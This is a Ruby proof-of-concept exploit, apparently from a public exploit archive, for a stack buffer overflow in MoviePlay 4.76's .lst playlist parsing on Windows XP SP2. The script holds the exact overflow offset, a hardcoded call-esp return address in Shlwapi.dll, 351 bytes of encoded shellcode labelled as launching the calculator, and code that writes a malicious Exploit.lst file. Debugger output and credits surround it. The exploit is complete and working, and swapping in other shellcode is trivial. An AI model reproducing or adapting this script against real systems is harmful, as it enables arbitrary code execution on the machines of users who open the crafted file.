#!/usr/bin/env ruby ################### #MoviePlay 4.76 .lst file Local buffer over-flow. #Credit to n00b for writing poc code..Pmsl #Tested on :Win xp sp2 eng. #Vendor web site: Netfarer.com MoviePlay 4.76 #Buffer-over flow reported : Jan 02 2007 12:00AM #Credit goes to Parvez Anwar for finding the bug. ################################################################################# #MoviePlay is prone to a remote buffer-overflow vulnerability because it #fails to properly bounds-check user-supplied input before copying it to #an insufficiently sized memory buffer. Exploiting this vulnerability #allows attackers to execute arbitrary machine code in the context of #the affected application.. #I looked all over for a poc code or even some #thing to back the claim up nothing was found #And as i was board so i decided to write a poc for this. #1053byte's next 4 bytes over write eip then esp was pointing #4 bytes after no need for any nop sled or any-thing... #1053 bytes of buffer --> 4 bytes ret --> 351 shell-code --> 592 bytes of buffer. #File is 2000 byte's. ################################################################################# # ..\\Debug info//.. #(664.3b0): Access violation - code c0000005 (first chance) #First chance exceptions are reported before any exception handling. #This exception may be expected and handled. #eax=ffffffff ebx=00000000 ecx=41414141 edx=0048ef90 esi=00b00048 edi=00000001 #eip=41414141 esp=0012ec78 ebp=41414141 iopl=0 nv up ei ng nz ac pe nc #cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010296 #41414141 ?? ??? ################################################################################# #Shouts: - Str0ke - Marsu - SM - vade79 - c0ntex - Kevin Finisterre ################################################################################# Header1 = "\x5b\x4d\x6f\x76\x69\x65\x50\x6c\x61\x79\x5d\x0d\x0a\x46\x69\x6c"+ "\x65\x4e\x61\x6d\x65\x30\x3d\x43\x3a\x5c" bof1 = 'A'* 1053 #1053 bytes to our eip is over-writen ret = "\x45\x15\xF6\x77" # call esp in Shlwapi.dll 0x77F61545.. #Calc shell-code. shell = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"+ #351 bytes "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"+ "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"+ "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"+ "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54"+ "\x42\x50\x42\x50\x42\x30\x4b\x58\x45\x54\x4e\x33\x4b\x38\x4e\x57"+ "\x45\x30\x4a\x37\x41\x30\x4f\x4e\x4b\x58\x4f\x44\x4a\x41\x4b\x38"+ "\x4f\x35\x42\x42\x41\x30\x4b\x4e\x49\x34\x4b\x58\x46\x33\x4b\x58"+ "\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x39\x4e\x4a\x46\x58\x42\x4c"+ "\x46\x37\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e"+ "\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x30\x45\x47\x45\x4e\x4b\x48"+ "\x4f\x35\x46\x32\x41\x50\x4b\x4e\x48\x36\x4b\x58\x4e\x50\x4b\x54"+ "\x4b\x58\x4f\x35\x4e\x31\x41\x50\x4b\x4e\x4b\x38\x4e\x41\x4b\x38"+ "\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x52\x46\x50\x43\x4c\x41\x53"+ "\x42\x4c\x46\x46\x4b\x48\x42\x44\x42\x43\x45\x38\x42\x4c\x4a\x37"+ "\x4e\x50\x4b\x48\x42\x44\x4e\x50\x4b\x48\x42\x57\x4e\x51\x4d\x4a"+ "\x4b\x48\x4a\x46\x4a\x30\x4b\x4e\x49\x30\x4b\x58\x42\x58\x42\x4b"+ "\x42\x30\x42\x50\x42\x30\x4b\x48\x4a\x46\x4e\x43\x4f\x55\x41\x43"+ "\x48\x4f\x42\x56\x48\x55\x49\x58\x4a\x4f\x43\x38\x42\x4c\x4b\x57"+ "\x42\x55\x4a\x46\x4f\x4e\x50\x4c\x42\x4e\x42\x46\x4a\x36\x4a\x49"+ "\x50\x4f\x4c\x48\x50\x30\x47\x35\x4f\x4f\x47\x4e\x43\x46\x41\x56"+ "\x4e\x46\x43\x56\x50\x42\x45\x56\x4a\x37\x45\x36\x42\x30\x5a" bof2 = 'B'* 592 #592 fil the rest of the file to make it to 2000 bytes. Header2 = "\x2e\x6d"+ "\x70\x33\x0d\x0a\x46\x69\x6c\x65\x4e\x61\x6d\x65\x31\x3d\x0d\x0a"+ "\x4e\x75\x6d\x46\x69\x6c\x65\x73\x3d\x31\x0d\x0a" lst_file = Header1 + bof1 + ret + shell + bof2 + Header2 File.open( "Exploit.lst","w") do |the_file| #Write file the_file.puts (lst_file) the_file.close print 'File was created success-fully..!!' end